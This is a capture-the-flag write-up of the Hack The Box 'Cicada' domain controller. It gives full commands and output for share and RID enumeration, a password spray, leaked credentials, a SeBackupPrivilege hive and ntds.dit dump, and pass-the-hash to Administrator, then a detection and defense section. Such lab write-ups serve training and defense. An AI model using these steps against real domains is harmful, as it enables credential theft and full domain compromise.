HTB - Cicada


Default password spray to SeBackupPrivilege

Cicada is an easy Windows domain controller that hides nothing — it hands you its credentials one at a time, in the three places real environments keep losing them: a welcome letter on an open share, an account description in LDAP, and a hardcoded password in a backup script. Four secrets, three of them written down by employees, and one spray across the user list to connect them. The privilege escalation is a single right — SeBackupPrivilege — that most people meet as a checkbox in a group membership and then ignore.

Mission Brief

Difficulty Easy
OS Windows Server 2022 (Build 20348), domain controller CICADA-DC
Released / retired 2024-09-28 / 2025-02-15
Attack surface 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985/tcp
Techniques Unauthenticated AD/SMB enumeration, RID cycling, password spray, credential in LDAP description, hardcoded script credentials, Backup Operators → SeBackupPrivilege, registry/VSS dump, Pass-the-Hash
Tools nmap, netexec, smbclient, evil-winrm, impacket-secretsdump, diskshadow, robocopy
Creator theblxckcicada

Route of the whole box:

1. Recon                    → 13 ports, domain cicada.htb, host CICADA-DC
2. Guest SMB → HR share     → "Notice from HR.txt" = default password
3. RID brute → user list    → spray that password → michael.wrightson
4. LDAP --users             → david.orelious's password in his description
5. DEV share → script       → emily.oscars credentials, WinRM shell, user.txt
6. Backup Operators         → SeBackupPrivilege → SAM/SYSTEM or ntds.dit dump
7. Pass-the-Hash            → Administrator, root.txt

Contents

Recon — thirteen ports that spell "domain controller"

Purpose: identify the host and its domain before touching authentication. A full TCP sweep first:

kali$ nmap -p- --min-rate 10000 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 14:56 EDT
Nmap scan report for 10.10.11.35
Host is up (0.086s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
54296/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds

Service detection on those ports:

kali$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,54296 -sCV 10.10.11.35
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-27 01:58:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
[... remaining service lines omitted — same LDAP banner on 636/3268/3269 ...]
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m08s

Field note — reading a DC port scan. 53/88/389/464/636/3268/3269 is the standard AD service set (DNS, Kerberos, LDAP, kpasswd, global catalog), and the LDAP banner prints the domain name for you — Domain: cicada.htb0.. CICADA-DC in Service Info is the hostname, and 5985 is WinRM over HTTP: if a domain account ever lands in Remote Management Users, that port becomes the shell. SMB signing being required rules out relay attacks against 445.

Two names to trust — the domain and the hostname — go into /etc/hosts:

10.10.11.35 CICADA-DC cicada.htb CICADA-DC.cicada.htb

Now enumerate shares. A bare null session gets dropped, but the disabled guest account still works as a login:

kali$ netexec smb CICADA-DC --shares
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] IndexError: list index out of range
SMB         10.10.11.35     445    CICADA-DC        [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
kali$ netexec smb CICADA-DC -u guest -p '' --shares
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\guest:
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON                        Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL                          Logon server share

A domain controller shares NETLOGON/SYSVOL by design; HR with explicit READ and an empty-permission DEV are the author's fingerprints. Open the one share a guest can definitely read:

kali$ smbclient -N //10.10.11.35/HR
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 08:29:09 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 13:31:48 2024

                4168447 blocks of size 4096. 942184 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (3.6 KiloBytes/sec) (average 3.6 KiloBytes/sec)

The file, in full (trimmed where it only repeats password-change instructions):

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
[... steps 2-5: navigate to profile settings, click "Change Password", save ...]

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

Best regards,
Cicada Corp

Field note — the box is telling you its own theme. HR mailed every new hire the same default password and left the letter on a share guests can read. The instructions even ask employees to change it — the next phase tests whether they did.

Credentials — four secrets, three of them written down

Purpose: turn the default password into a domain account. First I need the user list, and guest sessions can walk the SID space with RID cycling:

kali$ netexec smb CICADA-DC -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | tee users
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

(Excerpt — the full output also prints group SIDs between 512 and 1109, including a Dev Support group at 1109.)

Field note — why RID cycling works without credentials. SAMR lets a session resolve relative IDs against the domain SID: start at 500, keep incrementing, and every user and group comes back with its type. On a DC with guest enabled this is free reconnaissance — no LDAP bind, no Kerberos, no password.

Spray the HR password across that list:

kali$ netexec smb CICADA-DC -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE

Exactly one hit: michael.wrightson. One account did not follow the policy in the HR letter. Now use those credentials properly — enumerate the domain over LDAP:

kali$ netexec ldap CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP        10.10.11.35     389    CICADA-DC        [*] Enumerated 8 domain users: cicada.htb
LDAP        10.10.11.35     389    CICADA-DC        -Username-                    -Last PW Set-       -BadPW- -Description-
LDAP        10.10.11.35     389    CICADA-DC        Administrator                 2024-08-26 20:08:03 1       Built-in account for administering the computer/domain
LDAP        10.10.11.35     389    CICADA-DC        Guest                         2024-08-28 17:26:56 1       Built-in account for guest access to the computer/domain
LDAP        10.10.11.35     389    CICADA-DC        krbtgt                        2024-03-14 11:14:10 1       Key Distribution Center Service Account
LDAP        10.10.11.35     389    CICADA-DC        john.smoulder                 2024-03-14 12:17:29 1
LDAP        10.10.11.35     389    CICADA-DC        sarah.dantelia                2024-03-14 12:17:29 1
LDAP        10.10.11.35     389    CICADA-DC        michael.wrightson             2024-03-14 12:17:29 0
LDAP        10.10.11.35     389    CICADA-DC        david.orelious                2024-03-14 12:17:29 1       Just in case I forget my password is aRt$Lp#7t*VQ!3
LDAP        10.10.11.35     389    CICADA-DC        emily.oscars                  2024-08-22 21:20:17 1

Field note — the description attribute is a password store. "Just in case I forget" is a real pattern in AD: admins put credentials in user descriptions, comments, info fields. NetExec prints descriptions in its --users table by default, which is why the leak needs no extra tool; the same attribute with plain ldapsearch: ldapsearch -x -H ldap://10.10.11.35 -D 'michael.wrightson@cicada.htb' -w '<pass>' -b 'DC=cicada,DC=htb' '(objectClass=user)' description.

Verify david.orelious:

kali$ netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3'
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
kali$ netexec winrm CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3'
WINRM       10.10.11.35     5985   CICADA-DC        [-] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3

Valid domain credentials, but no WinRM — david is not in the remote management group. Shares first:

kali$ netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        DEV             READ
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL          READ            Logon server share

DEV turned from an empty-permission listing into READ. Inside it, one file:

kali$ smbclient -U david.orelious //CICADA-DC/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'
smb: \> ls
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Fourth credential, hardcoded in plaintext in a script on a share. The credential chain so far: HR letter → spray → LDAP description → backup script. Each step only needed read access.

Foothold — WinRM as emily.oscars

Purpose: get an interactive shell as the account that the last script points at. Emily is the one account with remote management rights:

kali$ netexec smb CICADA-DC -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
kali$ netexec winrm CICADA-DC -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
WINRM       10.10.11.35     5985   CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
kali$ evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> type user.txt
ea4481e2************************

Privilege escalation — SeBackupPrivilege

Purpose: prove why a "backup" group equals domain compromise. Enumerate the account first:

*Evil-WinRM* PS C:\> net user emily.oscars
User name                    emily.oscars
Full Name                    Emily Oscars
[... account metadata omitted ...]
Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Field note — what SeBackupPrivilege actually buys. Windows file permissions are checked by the filesystem; this privilege tells the kernel to skip ACL checks in backup mode — read any file, anywhere, including C:\Windows\NTDS\ntds.dit, HKLM\SAM, and files locked open by other processes. It is granted to Backup Operators by default, which is why membership in that group has to be treated as near-admin. The reg save command and backup-mode file copies both run under this privilege.

Route A — registry hives and the local Administrator hash

*Evil-WinRM* PS C:\programdata> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\programdata> reg save hklm\system system
The operation completed successfully.
*Evil-WinRM* PS C:\programdata> download sam

Info: Downloading C:\programdata\sam to sam

Info: Download successful!
*Evil-WinRM* PS C:\programdata> download system

Info: Downloading C:\programdata\system to system

Info: Download successful!
kali$ secretsdump.py -sam sam -system system LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

An alternative to the two reg save calls, using impacket's remote registry backup, which also grabs SECURITY in one shot:

kali$ reg.py 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt'@10.10.11.35 backup -o 'C:\windows\temp\'
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to C:\windows\temp\\SAM.save
[*] Saved HKLM\SYSTEM to C:\windows\temp\\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\windows\temp\\SECURITY.save

Route B — a shadow copy of NTDS, the way an attacker normally does it

ntds.dit is held open by the Directory Service, so it cannot be copied directly. diskshadow asks Windows to make a VSS shadow copy and expose it as a drive letter — the same mechanism backups use, which is exactly what the privilege is for:

set verbose on
set metadata C:\Windows\Temp\0xdf.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup

(Locally saved, converted to CRLF with unix2dos, then uploaded.)

*Evil-WinRM* PS C:\programdata> diskshadow /s backup
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  CICADA-DC,  9/27/2024 1:07:11 AM

-> set verbose on
-> set metadata C:\Windows\Temp\0xdf.cab
-> set context clientaccessible
-> begin backup
-> add volume C: alias cdrive
-> create
[... "Including writer ..." lines omitted ...]
* Including writer "NTDS":
        + Adding component: \C:_Windows_NTDS\ntds
[... omitted ...]
Alias cdrive for shadow ID {10b9bb82-275d-4a14-b0fe-727209b03567} set as environment variable.
[... omitted ...]
-> expose %cdrive% E:
-> %cdrive% = {10b9bb82-275d-4a14-b0fe-727209b03567}
The shadow copy was successfully exposed as E:\.
-> end backup

The shadow copy is a normal directory tree now — copy the database out with robocopy /b, which runs in backup mode and therefore reads through SeBackupPrivilege:

*Evil-WinRM* PS C:\programdata> robocopy /b E:\Windows\ntds . ntds.dit
               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
    Bytes :   16.00 m   16.00 m         0         0         0         0
kali$ secretsdump.py -ntds ntds.dit -system system LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f954f575c626d6afe06c2b80cc2185e6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CICADA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:188c2f3cb7592e18d1eae37991dee696:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3779000802a4bb402736bee52963f8ef:::
[... john.smoulder, sarah.dantelia, michael.wrightson, david.orelious, emily.oscars omitted ...]
[*] Kerberos keys from ntds.dit
[... Kerberos key lines omitted ...]
[*] Cleaning up...

The Administrator:500 line is byte-identical to the SAM dump in route A — same account, two extraction paths. A third variant exists for completeness: the SeBackupPrivilege PowerShell module adds Copy-FileSeBackupPrivilege, which copies ntds.dit straight out of the shadow copy without robocopy.

Pass-the-Hash to SYSTEM

kali$ netexec smb CICADA-DC -u administrator -H aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)
kali$ evil-winrm -i cicada.htb -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
b77facd8************************

Field note — after you already have the hash. The domain hash dump is not just the Administrator line: every domain account came out of ntds.dit, so lateral movement to any of them is one evil-winrm -H away. And if you skipped the shadow-copy dance entirely, once you have an admin session NetExec can do the dump for you in one line: netexec smb 10.10.11.35 -u administrator -H <hash> -M ntdsutil.

Detection & defense — what the blue team gets to see

Stage Signal
Scan SYN sweep over 65k ports with --min-rate 10000 — trivially an IDS scan signature, but on a DC it is also just "another enumeration" in most logs
Guest share enum Event 4624 LogonType 3 with an anonymous/guest session, followed by a burst of share listing (445); STATUS_USER_SESSION_DELETED retries in SMB logs
RID cycling One SAMR session resolving hundreds of RIDs in seconds — lateral-object enumeration alerting (5136/4662 bursts)
Password spray A wall of 4625 STATUS_LOGON_FAILURE events across many accounts within seconds, then one 4624 success — the classic spray pattern; BadPW counters move per account
LDAP description leak Authenticated LDAP queries returning description for all users (Directory Service Access auditing, 5136, if enabled — usually it is not)
Share file reads Notice from HR.txt and Backup_script.ps1 read over SMB; file-server audit policy would show the first read by a guest
WinRM shell 4624 LogonType 3 over 5985 with LogonProcessName: NtLmSsp, followed by PowerShell/WinRM operational log entries (4103/4104 with script-block logging)
Registry/NTDS dump reg.exe save, diskshadow.exe, and robocopy /b spawned by a WinRM session (4688 with command-line auditing); VSS shadow-copy creation events (8224/8226)
Pass-the-Hash 4624 with NTLM authentication and no preceding Kerberos AS-REQ for that account; the same NTLM logon from two hosts in quick succession

And the fixes, in the order they would have stopped this box:

Weakness Fix
Guest/null share enumeration RestrictAnonymousSAM / disable the guest account; deny share listing to unauthenticated sessions
Default password on a share Never store credentials in files; force rotation before the credential exists, and do not leave policy documents on world-readable shares
Password in description Audit and clear credential-like strings in description/info/comment attributes — they replicate domain-wide over LDAP
Hardcoded script credentials Managed service accounts or Windows LAPS; scripts read secrets from a restricted store, not plaintext
Spray exposure Fine-grained password policies / smart lockout; alert on 4625 bursts per source
Backup Operators abuse Treat the group as Domain Admin-adjacent; monitor SeBackupPrivilege usage, reg save, diskshadow, and robocopy /b on DCs
Pass-the-Hash Credential Guard / disable NTLM where possible, plus tiering so a dumped domain hash is not instantly a domain compromise

Operator's Log

  • A bare netexec smb CICADA-DC --shares failed with STATUS_USER_SESSION_DELETED — a true null session is dropped on this DC. Retrying with -u guest -p '' produced the share table; worth remembering before concluding "share enumeration is blocked".
  • smbclient ate the filename: get Notice from HR.txt returned NT_STATUS_OBJECT_NAME_NOT_FOUND until the name was quoted. Filenames with spaces are a one-second fix and a one-minute mystery otherwise.
  • I ran a BloodHound collection as michael.wrightson early, looking for an ACL path. It found nothing useful — and that is the correct lesson: this box has no graph edges to abuse, only files. Choosing the right enum tool for the kind of secret you expect matters more than collection depth.

Attack chain recap

# Step Technique Tool / evidence
1 Fingerprint 13 open ports, LDAP banner cicada.htb, host CICADA-DC nmap -p-, -sCV
2 Share enum Guest login → HR share readable netexec --shares, smbclient
3 Default password Notice from HR.txt on the open share smbclient get
4 User list RID cycling with guest session netexec --rid-brute → users
5 Spray One password across all users → michael.wrightson netexec --continue-on-success
6 LDAP leak david.orelious password in description netexec ldap --users
7 Script creds Backup_script.ps1 → emily.oscars smbclient, DEV share
8 Foothold WinRM shell, user.txt evil-winrm
9 Priv-esc right Backup Operators → SeBackupPrivilege enabled net user, whoami /priv
10 Hash dump reg save SAM/SYSTEM or diskshadow + robocopy /b NTDS secretsdump.py
11 SYSTEM Pass-the-Hash → Administrator, root.txt netexec -H, evil-winrm -H

Conclusion

Cicada's entire chain is an inventory of credentials in the wrong place: a welcome letter on a guest-readable share, a password in an LDAP description, a plaintext secret in a scheduled script. None of them is an exploit — every step to the first shell is reading, and the domain falls over because four people wrote four secrets down. The privilege escalation is the same lesson one level down: Backup Operators exists to read files that permissions would otherwise block, and on a domain controller those files are ntds.dit and SAM.

The defensive reading is correspondingly boring, which is the point: monitor who enumerates shares and SIDs, treat Backup Operators and any enabled SeBackupPrivilege as admin-equivalent, and hunt for credential-shaped strings where they do not belong — share documents, user descriptions, scripts. None of it needs a novel detection; it needs someone looking at the logs that already exist.

The defensive reading is correspondingly boring, which is the point: monitor who enumerates shares and SIDs, treat Backup Operators and any enabled SeBackupPrivilege as admin-equivalent, and hunt for credential-shaped strings where they do not belong — share documents, user descriptions, scripts. None of it needs a novel detection; it needs someone looking at the logs that already exist.